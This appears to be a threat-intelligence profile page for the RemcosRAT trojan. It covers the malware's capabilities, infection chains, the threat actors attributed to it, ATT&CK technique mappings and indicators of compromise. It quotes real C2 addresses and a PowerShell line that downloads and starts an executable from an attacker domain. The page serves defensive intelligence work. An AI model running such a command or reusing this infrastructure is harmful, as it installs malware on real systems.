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MalwareRansomwareUsed by 7 actors

RemcosRAT

RemcosRAT is a full-featured remote access trojan used across a wide range of criminal and espionage-motivated campaigns. The provided reporting consistently describes capabilities including remote command execution, file and process management, keylogging, screenshot capture, webcam and microphone surveillance, clipboard monitoring, browser and application data theft, and credential harvesting. Observed configurations include storage of keylogs in logs.dat, screenshot capture at 10-second intervals, audio recording in 5-second clips, mutexes such as Rmc-E3G25N and Rmc-3UG3BG, install names such as remcos.exe, and registry persistence under HKCU\Software\Remcos. RemcosRAT configurations were noted as RC4-encrypted in PE resources, and some infrastructure exposed the default Remcos TLS certificate profile with empty subject/issuer fields and long-lived validity dates.

In the supplied content, RemcosRAT is delivered through multiple infection vectors: phishing emails with business, legal, invoice, purchase inquiry, court summons, SWIFT transfer, and procurement lures; malicious HTA, JavaScript, XLS macro, SVG, MSI, ZIP, RAR, 7z, LNK, DOC/DOCX, VBS, PowerShell, and AutoIt stages; DLL sideloading with signed VMware and Microsoft Edge binaries; process hollowing into legitimate Microsoft binaries including Aspnet_compiler.exe and Msbuild.exe; counterfeit VeraCrypt installers; illegal gambling-related tools; and loader ecosystems such as HijackLoader, SHADOWLADDER, GHOSTPULSE, GoLoader, Amadey, and crypter-as-a-service AutoIt stubs. Specific observed chains include a four-stage March 2026 campaign using a JavaScript attachment, PowerShell decryption, a .NET loader named DEV.dll, and hollowing into Aspnet_compiler.exe, with C2 at 216.250.249.222 over raw TCP on ports 80 and 443; and an HTA-based RemcosRAT 7.2.0 Pro campaign tagged "SkyLNK" using mshta.exe, PowerShell, obfuscated JavaScript, reflective .NET loading, and hollowing into Msbuild.exe, with C2 domain goodpeopleswhitbrigheartwinthisindustryi.duckdns.org:14646 and staging at 96.44.159.218.

The malware appears in both commodity cybercrime and state-linked activity. The content links RemcosRAT to UAC-0184 targeting Ukraine’s Defense Forces via messenger-based social engineering to steal documents and messenger data, including Signal-related data; to UAC-0050 / DaVinci Group activity targeting Ukraine and a European financial institution; to campaigns targeting Russian organizations alongside DarkTrack RAT; to attacks targeting Ukraine; to Red Akodon phishing campaigns against Colombian victims; to Shadow Vector campaigns in Colombia; to South Korean campaigns using gambling lures and trojanized VeraCrypt installers; and to North Korean KONNI/Konni-linked activity using KakaoTalk-delivered malware. It is also repeatedly listed as a payload distributed by Amadey pay-per-install operations and by the GoLoader loader-as-a-service framework.

High-confidence indicators and artifacts directly mentioned in the content include C2 and staging infrastructure such as the-new-age.co.ua:443, biches-yeah.co.ua:443, 178.33.57.149:443, 178.33.57.159:8899, 88.151.192.14:443, 216.250.249.222:80/443, 96.44.159.137 ports 14641/14642/14645/14646/14647, 96.44.159.218, and goodpeopleswhitbrigheartwinthisindustryi.duckdns.org:14646; sample and campaign artifacts including DEV.dll GUID ab88dfb2-73aa-4da1-bf05-e72424ad8034, Remcos license hash 72214B9FB81C38C5D9F33A771B74F635, botnet ID "SkyLNK," and imphash 737fc4be4f9f7d7c06c790667c9f7669. The content also notes repeated use of RemcosRAT in campaigns targeting government, healthcare, technology, manufacturing, defense, finance, and telecom-related victims across multiple regions.

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THREAT ACTORS

Groups observed using it

7 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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UAC-0184

remcos.exe (RemcosRAT; idelural; the-new-age.co.ua:443)

via cert uacert.gov.ua
Kimsuky

“These installers executed AutoIt scripts… that deployed multiple RATs (RemcosRAT, QuasarRAT, and RftRAT)…”

via securityaffairssecurityaffairs.com
APT37

The files distributed were malicious AutoIt scripts and modules that enable remote access and keylogging, as well as various RATs, including LilithRAT and RemcosRAT.

via dark readingdarkreading.com
Red Akodon

Red Akodon targets users... using remote access trojans (RAT) like RemcosRAT, QasarRat, AsyncRAT, and XWorm.

via scilabs blogblog.scilabs.mx
UAC-0050

"...and remote access trojans such as RemcosRAT in attacks targeting Ukraine."

via the hacker newsthehackernews.com
PseudoSticky

"...to attack Russian organizations... with malware like RemcosRAT and DarkTrack RAT..."

via the hacker newsthehackernews.com
Mercenary Akula

"...and remote access trojans such as RemcosRAT in attacks targeting Ukraine."

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

35 distinct techniques documented for this family, organized by ATT&CK tactic.

T1583.003Virtual Private ServerEvidence1

MITRE ATT&CK T1583.003 — Virtual Private Server (PFCLOUD, ThinkHuge, OMEGATECH)

Initial Access

2 techniques
T1566.001Spearphishing AttachmentEvidence4

MITRE ATT&CK Mapping Tactic Technique ID Implementation Initial Access Phishing: Spearphishing Attachment T1566.001 Email with "Bank slip.exe", "Payment Advice.exe"

T1566.003Spearphishing via ServiceEvidence1

основним каналом доставки шкідливих програм є популярні месенджери, а методи первинного проникнення передбачають використання елементів соціальної інженерії

Execution

7 techniques
T1047Windows Management InstrumentationEvidence1
TacticExecution

Execution Windows Management Instrumentation T1047 Win32_Process.Create() hidden window launch

T1059.001PowerShellEvidence2
TacticExecution

The PowerShell runs with the standard evasion flags: -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden.

T1059.005Visual BasicEvidence1
TacticExecution

Execution VBScript T1059.005 HTA VBScript execution in mshta.exe

T1059.007JavaScriptEvidence2
TacticExecution

Execution JavaScript T1059.007 WScript execution of obfuscated JS dropper

T1059.010AutoHotKey & AutoITEvidence1
TacticExecution

MITRE ATT&CK Mapping Tactic Technique ID Implementation Execution Command and Scripting: AutoIt T1059.010 AutoIt-compiled loader with WRSJLIM cipher

T1129Shared ModulesEvidence1
TacticExecution

Execution Shared Modules T1129 .NET Assembly.Load() for DEV.dll reflective loading

T1204.002Malicious FileEvidence3
TacticExecution

під час якого останньому передається файл (архів) з проханням допомогти у його відкритті/обробці

Persistence

1 technique
T1547.001Registry Run Keys / Startup FolderEvidence3

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Patchhelp_beta.lnk ... Streamsvc.lnk ... appBg.lnk

T1055Process InjectionEvidence1

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Process Injection T1055 VirtualAlloc RWX + DllCallAddress shellcode execution

T1055.012Process HollowingEvidence2

Defense Evasion Process Hollowing T1055.012 Aspnet_compiler.exe hollowed via NT API

T1547.001Registry Run Keys / Startup FolderEvidence3

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Patchhelp_beta.lnk ... Streamsvc.lnk ... appBg.lnk

T1548.002Bypass User Account ControlEvidence1

Privilege Escalation Bypass UAC T1548.002 Registry: EnableLUA = 0 modification

Stealth

8 techniques
T1027Obfuscated Files or InformationEvidence4
TacticStealth

Defense Evasion Obfuscated Files or Information T1027 Whitespace padding, random case, base64, delimiter-based concatenation

T1036MasqueradingEvidence1
TacticStealth

Defense Evasion Masquerading T1036 Abuse of Msbuild.exe as LOLBin host

T1036.001Invalid Code SignatureEvidence1
TacticStealth

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Masquerading: Invalid Code Signature T1036.001 Stolen/abused code signing certs

T1055Process InjectionEvidence1

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Process Injection T1055 VirtualAlloc RWX + DllCallAddress shellcode execution

T1055.012Process HollowingEvidence2

Defense Evasion Process Hollowing T1055.012 Aspnet_compiler.exe hollowed via NT API

T1140Deobfuscate/Decode Files or InformationEvidence1
TacticStealth

Defense Evasion Deobfuscate/Decode Files T1140 Base64, UTF-16LE, delimiter stripping

T1497Virtualization/Sandbox EvasionEvidence1

Defense Evasion Virtualization/Sandbox Evasion T1497 3-second sleep timer

T1620Reflective Code LoadingEvidence1
TacticStealth

MITRE ATT&CK Mapping Technique ID Usage Reflective Code Loading T1620 Go-based reflective PE loader (both v1 and v2)

Credential Access

2 techniques
T1056.001KeyloggingEvidence1

Credential Access Keylogging T1056.001 Continuous keylogging to logs.dat

T1555Credentials from Password StoresEvidence1

Credential Access Credentials from Password Stores T1555 Outlook credential theft via Nirsoft tools

Discovery

1 technique
T1497Virtualization/Sandbox EvasionEvidence1

Defense Evasion Virtualization/Sandbox Evasion T1497 3-second sleep timer

Collection

5 techniques
T1056.001KeyloggingEvidence1

Credential Access Keylogging T1056.001 Continuous keylogging to logs.dat

T1113Screen CaptureEvidence2

Collection Screen Capture T1113 Periodic screenshots to Screenshots/ directory

T1114Email CollectionEvidence1

Collection Email Collection T1114 Outlook account access

T1123Audio CaptureEvidence2

Collection Audio Capture T1123 5-second audio recording clips

T1125Video CaptureEvidence1

Collection Video Capture T1125 Camera access via OpenCamera/CloseCamera

T1071Application Layer ProtocolEvidence1

Command and Control Application Layer Protocol T1071 TLS-encrypted C2 on port 14646

T1095Non-Application Layer ProtocolEvidence1

The RAT -- compiled February 3, 2026 -- phones home to a dedicated C2 at 216.250.249.222 on ports 80 and 443 using Remcos proprietary protocol (not HTTP, not TLS -- raw TCP masquerading on web ports).

T1102Web ServiceEvidence1

Command and Control Web Service T1102 Paste services (pastefy.app, pastes.io) for payload hosting

T1105Ingress Tool TransferEvidence1

-uri http://yeah-biches.kyiv.ua/securitycheck.exe -OutFile securitycheck.exe; start securitycheck.exe

T1219Remote Access ToolsEvidence1

REMCOSRAT ... XWORM

T1568.002Domain Generation AlgorithmsEvidence1

Command and Control Dynamic Resolution T1568.002 DuckDNS for C2 domain resolution

T1571Non-Standard PortEvidence1

Command and Control Non-Standard Port T1571 Remcos protocol on ports 80/443 (not HTTP/TLS)

T1573Encrypted ChannelEvidence1

Command and Control Encrypted Channel T1573 Optional TLS mode available in configuration

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

SIGTOP та TUSC використовуються для викрадення та вивантаження даних з ЕОМ

INDICATORS OF COMPROMISE

IOCs tracked for this family

84 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
28 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
44 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
12 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app3 months ago
hash.sha256●●●●●●●●●●●●View more in app3 months ago
uri●●●●●●●●●●●●View more in app3 months ago
ip.v4●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
ACTIVITY FEED

Recent activity

22 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching84

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution7

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping35

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.